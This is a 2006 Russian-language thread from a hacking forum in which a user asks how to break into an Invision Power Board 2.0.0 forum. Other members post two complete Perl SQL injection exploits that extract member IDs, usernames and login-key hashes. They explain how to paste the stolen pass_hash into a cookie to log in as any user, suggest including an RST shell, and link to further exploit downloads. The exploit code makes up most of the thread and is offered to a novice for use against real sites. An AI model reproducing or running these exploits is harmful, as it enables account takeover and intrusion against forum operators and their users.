Форумы Invision Power Board(Trial) v2.0.0 - возможно взломать?

Discussion in 'Уязвимости CMS/форумов' started by BlackDog, 22 Oct 2006.

  1. BlackDog

    BlackDog Elder - Старейшина

    Joined:
    5 Jul 2006
    Messages:
    53
    Likes Received:
    19
    Reputations:
    -8
    Привет всем.
    Никто не знает как ломается Invision Power Board(Trial) v2.0.0? Если есть тема/объяснение дайте плиз! Спасибо заранее!
     
  2. Koller

    Koller Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    402
    Likes Received:
    246
    Reputations:
    302
    Попробуй...может и на trial версии пройдет...
     
    #2 Koller, 22 Oct 2006
    Last edited: 22 Oct 2006
  3. _-[A.M.D]HiM@S-_

    _-[A.M.D]HiM@S-_ Green member

    Joined:
    28 Dec 2005
    Messages:
    441
    Likes Received:
    454
    Reputations:
    696
    Там можно инклуд Rst шела зделать :)
     
    1 person likes this.
  4. Dracula4ever

    Dracula4ever Elder - Старейшина

    Joined:
    8 May 2006
    Messages:
    418
    Likes Received:
    183
    Reputations:
    26
    на этот вмд форума есть прикольный сплойт который написал 1dt.w0lf

    Сплойт:
    PHP:
    #!/usr/bin/perl
    use IO::Socket;

    ## Invision Power Board v2.0.0 - 2.0.2 sql injection exploit
    ## by RusH security team (www.rst.void.ru)
    ## coded by 1dt.w0lf
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ## example:
    ##
    ## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3
    ##
    ------------------------------------------------------------------------------------------------
    ## [>] SERVER: 127.0.0.1
    ## [>] DIR: /IPB202/
    ## [>] FORUM: 2
    ## [>] TOPIC: 1
    ## [>] SID: 3edb1eaeea640d297ee3b1f78b5679b3
    ## [>] PREFIX:
    ## [>] ID:
    ##
    ------------------------------------------------------------------------------------------------
    ## 
    ## [~] PREPARE TO CONNECT...
    ## [+] CONNECTED
    ## [~] SENDING QUERY...
    ## [+] DONE!
    ## 
    ## PREFIX: ibf_
    ##
    ## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3 ibf_
    ##
    ------------------------------------------------------------------------------------------------
    ## [>] SERVER: 127.0.0.1
    ## [>] DIR: /IPB202/
    ## [>] FORUM: 2
    ## [>] TOPIC: 1
    ## [>] SID: 3edb1eaeea640d297ee3b1f78b5679b3
    ## [>] PREFIX: ibf_
    ## [>] ID:
    ##
    ------------------------------------------------------------------------------------------------
    ## 
    ## [~] PREPARE TO CONNECT...
    ## [+] CONNECTED
    ## [~] SENDING QUERY...
    ## [+] DONE!
    ## 
    ## --[ REPORT
    ]------------------------------------------------------------------------------------
    ## MEMBER_ID: [1] NAME: [admin] PASS_HASH:
    [73dea61281aa9b08ed31b4ae2bb9954e]
    ##
    ------------------------------------------------------------------------------------------------
    ## Now you need edit cookie and insert new pass_hash and member_id
    values.
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ## Пару слов о возвращаемом эксплоитом результате:
    ## Значение pass_hash это не зашифрованный пароль юзера!!! а одноименное
    значение
    ## из кукиса с помощью которого можно войти на форум под любым юзером без
    ## ввода пароля. member_id это также одноименное значение из кукиса.
    Поэтому не
    ## стоит пытаться расшифровать pass_hash =) Просто зарегистрируйтесь на
    форуме и 
    ## измените pass_hash и member_id в вашем cookie на одно из значений
    ## которые выдаст сплоит.
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


    if (@ARGV 5)
    {
    print
    "-------------------------------------------------------------------------\r\n";
    print 
    " Invision Power Board v2.0.0 - 2.0.2 sql injection
    exploit\r\n"
    ;
    print
    "-------------------------------------------------------------------------\r\n";
    print 
    "usage:\r\n";
    print 
    "r57ipb.pl SERVER /DIR/ FORUM_NUM TOPIC_NUM SID [TABLE_PREFIX]
    [USER_ID]\r\n\r\n"
    ;
    print 
    "SERVER - server where IPB installed\r\n";
    print 
    "/DIR/ - IPB directory or / for no directory\r\n";
    print 
    "FORUM_NUM - number of existing forum\r\n";
    print 
    "TOPIC_NUM - number of existing topic\r\n";
    print 
    "SID - your session id\r\n";
    print 
    "[TABLE_PREFIX] - table prefix in database\r\n";
    print 
    "[USER_ID] - user id for exploiting\r\n\r\n"
    print 
    "e.g. r57ipb.pl 127.0.0.1 /IPB/ 2 1
    4496b6d35c1bc0662d721c207f81784e ibf_\r\n"
    ;
    print
    "-------------------------------------------------------------------------\r\n";
    exit();
    }

    if (@
    ARGV 6) { $get_table 1; }

    $server $ARGV[0];
    $dir $ARGV[1];
    $fnum $ARGV[2];
    $tnum $ARGV[3];
    $sid $ARGV[4];
    $prefix $ARGV[5];
    $id $ARGV[6];

    print
    "-----------------------------------------------------------------------------------------------\r\n";
    print 
    "[>] SERVER: $server\r\n";
    print 
    "[>] DIR: $dir\r\n";
    print 
    "[>] FORUM: $fnum\r\n";
    print 
    "[>] TOPIC: $tnum\r\n";
    print 
    "[>] SID: $sid\r\n";
    print 
    "[>] PREFIX: $prefix\r\n";
    print 
    "[>] ID: $id\r\n";
    print
    "-------------------------------------------------------------------------------------------\r\n\r\n";

    $server =~ s/(http:\/\/)//eg;

    $path $dir;
    $path .= "index.php?s=";
    $path .= $sid;
    $path .= "&act=Post&CODE=02&f=";
    $path .= $fnum;
    $path .= "&t=";
    $path .= $tnum;
    if (
    $get_table == 1
     {
     
    $path .= "&qpid=r57"
     
    }
    else
     {
    $path .=
    "&qpid=666666666)%20union%20select%201,1,1,1,1,1,1,1,1,1,CONCAT(id,char(58),
    name,char(58),
    member_login_key),1,1,1,1,1,1,1,1,1%20from%20"
    ;
    $path .= $prefix;
    $path .= "members";
    $path .= ($id)?("%20WHERE%20id=$id%20"):("%20");
    $path .= "/*";
     }
    print 
    "[~] PREPARE TO CONNECT...\r\n";

    $socket IO::Socket::INET->newProto => "tcp"PeerAddr
    => "$server"
    PeerPort => "80") || die "[-]
     CONNECTION FAILED"
    ;

    print 
    "[+] CONNECTED\r\n";
    print 
    "[~] SENDING QUERY...\r\n";
    print 
    $socket "GET $path HTTP/1.1\r\n";
    print 
    $socket "Host: $server\r\n"
    print 
    $socket "Accept: */*\r\n";
    print 
    $socket "Connection: close\r\n\r\n";
    print 
    "[+] DONE!\r\n\r\n";

    $suc =0;

    if (
    $get_table == 1)
     {
     while (
    $answer = <$socket>)
     {
     if (
    $answer =~ /(mySQL query error: )(.*)( FROM )(.*)(posts)/){ print
    "PREFIX: $4\r\n"
    $suc 1; }
     }
     if (!
    $suc) { print "Exploit failed\r\n"; }
     exit();
     }

    print 
    "--[ REPORT
    ]---------------------------------------------------------------------------------\r\n"
    ;
    while (
    $answer = <$socket>)
    {
     if (
    $answer =~ /^([^:]*):([^:]*):([a-z,0-9]{32})$/) { print
    "MEMBER_ID: [$1] NAME: [$2] 
    PASS_HASH: [$3]\r\n"
    $suc 1; }
    }
    print
    "------------------------------------------------------------------------------------------------\r\n";
    if (
    $suc == 1) { print "Now you need edit cookie and insert new
    pass_hash and 
    member_id values.\r\n"

    exit(); }
    else { print 
    "Exploit failed\r\n"; }securitydot.net 2004-11-22
     
    2 people like this.
  5. BlackDog

    BlackDog Elder - Старейшина

    Joined:
    5 Jul 2006
    Messages:
    53
    Likes Received:
    19
    Reputations:
    -8
    Koller, не работает, но спасибо.

    _-[A.M.D]HiM@S-_, как?

    dracula4ever, а как пользоваться "этим"?
     
  6. злюка

    злюка Elder - Старейшина

    Joined:
    11 Nov 2005
    Messages:
    337
    Likes Received:
    132
    Reputations:
    69
    вот это у меня работало..только сломать то особо с этим не получится...лучше вариант поюзать сплоит который еще и соль дерёт
     
  7. _-[A.M.D]HiM@S-_

    _-[A.M.D]HiM@S-_ Green member

    Joined:
    28 Dec 2005
    Messages:
    441
    Likes Received:
    454
    Reputations:
    696
    подправь сплойт немного и юзай :

    Инклюд можно зделать как в в версии 2.1.5
    через кодировку Чарсет,поищи тебе много тем выдаст .

    пробуй :

    http://milw0rm.com/id.php?id=648
    http://rst.void.ru/download/r57ipb2.txt
     
  8. BlackDog

    BlackDog Elder - Старейшина

    Joined:
    5 Jul 2006
    Messages:
    53
    Likes Received:
    19
    Reputations:
    -8
    (

    Я не умею пользоваться сплоитами!!!

    Вот вы сказали это использовать:
    #!/usr/bin/perl

    ## Invision Power Board SQL injection exploit by RST/GHC
    ## vulnerable forum versions : 1.* , 2.* (<2.0.4)
    ## tested on version 1.3 Final and version 2.0.2
    ## * work on all mysql versions
    ## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
    ## (c)oded by 1dt.w0lf
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ## screen:
    ## ~~~~~~~
    ## r57ipb2.pl blah.com /ipb13/ 1 0
    ## [~] SERVER : blah.com
    ## [~] PATH : /ipb13/
    ## [~] MEMBER ID : 1
    ## [~] TARGET : 0 - IPB 1.*
    ## [~] SEARCHING PASSWORD ... [ DONE ]
    ##
    ## MEMBER ID : 1
    ## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99
    ##
    ## r57ipb2.pl blah.com /ipb202/ 1 1
    ## [~] SERVER : blah.com
    ## [~] PATH : /ipb202/
    ## [~] MEMBER ID : 1
    ## [~] TARGET : 1 - IPB 2.*
    ## [~] SEARCHING PASSWORD ... [ DONE ]
    ##
    ## MEMBER ID : 1
    ## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ## Greets: James Bercegay of the GulfTech Security Research Team
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    use IO::Socket;

    if (@ARGV < 4) { &usage; }

    $server = $ARGV[0];
    $path = $ARGV[1];
    $member_id = $ARGV[2];
    $target = $ARGV[3];

    $pass = ($target)?('member_login_key'):('password');

    $server =~ s!(http:\/\/)!!;

    $request = 'http://';
    $request .= $server;
    $request .= $path;

    $s_num = 1;
    $|++;
    $n = 0;

    print "[~] SERVER : $server\r\n";
    print "[~] PATH : $path\r\n";
    print "[~] MEMBER ID : $member_id\r\n";
    print "[~] TARGET : $target";
    print (($target)?(' - IPB 2.*'):(' - IPB 1.*'));
    print "\r\n";
    print "[~] SEARCHING PASSWORD ... [|]";

    ($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

    while(1)
    {
    if(&found(47,58)==0) { &found(96,122); }
    $char = $i;
    if ($char=="0")
    {
    if(length($allchar) > 0){
    print qq{\b\b DONE ]

    MEMBER ID : $member_id
    };
    print (($target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : '));
    print $allchar."\r\n";
    }
    else
    {
    print "\b\b FAILED ]";
    }
    exit();
    }
    else
    {
    $allchar .= chr(42);
    }
    $s_num++;
    }

    sub found($$)
    {
    my $fmin = $_[0];
    my $fmax = $_[1];
    if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }

    $r = int($fmax - ($fmax-$fmin)/2);
    $check = " BETWEEN $r AND $fmax";
    if ( &check($check) ) { &found($r,$fmax); }
    else { &found($fmin,$r); }
    }

    sub crack($$)
    {
    my $cmin = $_[0];
    my $cmax = $_[1];
    $i = $cmin;
    while ($i<$cmax)
    {
    $crcheck = "=$i";
    if ( &check($crcheck) ) { return $i; }
    $i++;
    }
    $i = 0;
    return $i;
    }

    sub check($)
    {
    $n++;
    status();
    $ccheck = $_[0];
    $pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D";
    $pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%72%69%6E%67%28";
    $pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*";
    $pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
    $nmalykh = "%20";
    $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");

    printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n",
    $path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3,$nmalykh);

    while(<$socket>)
    {
    if (/Set-Cookie: session_id=0;/) { return 1; }
    }

    return 0;
    }

    sub status()
    {
    $status = $n % 5;
    if($status==0){ print "\b\b/]"; }
    if($status==1){ print "\b\b-]"; }
    if($status==2){ print "\b\b\\]"; }
    if($status==3){ print "\b\b|]"; }
    }

    sub usage()
    {
    print q(
    Invision Power Board v < 2.0.4 SQL injection exploit
    ----------------------------------------------------
    USAGE:
    ~~~~~~
    r57ipb2.pl [server] [/folder/] [member_id] [target]

    [server] - host where IPB installed
    [/folder/] - folder where IPB installed
    [member_id] - user id for brute

    targets:
    0 - IPB 1.*
    1 - IPB 2.* (Prior To 2.0.4)

    e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1
    ----------------------------------------------------
    (c)oded by 1dt.w0lf
    RST/GHC , http://rst.void.ru , http://ghc.ru
    );
    exit();
    }



    Но как этим пользоваться? Что вообще с этим делать? Как это может сломать Invision Power Board(Trial) v2.0.0?!
     
    #8 BlackDog, 23 Oct 2006
    Last edited: 23 Oct 2006
  9. _-[A.M.D]HiM@S-_

    _-[A.M.D]HiM@S-_ Green member

    Joined:
    28 Dec 2005
    Messages:
    441
    Likes Received:
    454
    Reputations:
    696
    Что бы использовать данный сплойт скачай для начала Perl

    _http://www.softok.org/ob/webm/1769dload.html
     
    #9 _-[A.M.D]HiM@S-_, 23 Oct 2006
    Last edited: 23 Oct 2006
  10. BlackDog

    BlackDog Elder - Старейшина

    Joined:
    5 Jul 2006
    Messages:
    53
    Likes Received:
    19
    Reputations:
    -8
    Сделаю... Отпишусь что да как.
     
  11. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    BlackDog, ты не повериш скока тем уже было про ето=)
    Поиск рулид
    http://forum.antichat.ru/thread22923-faq.html
    http://forum.antichat.ru/thread25077-%EF%E5%F0%EB.html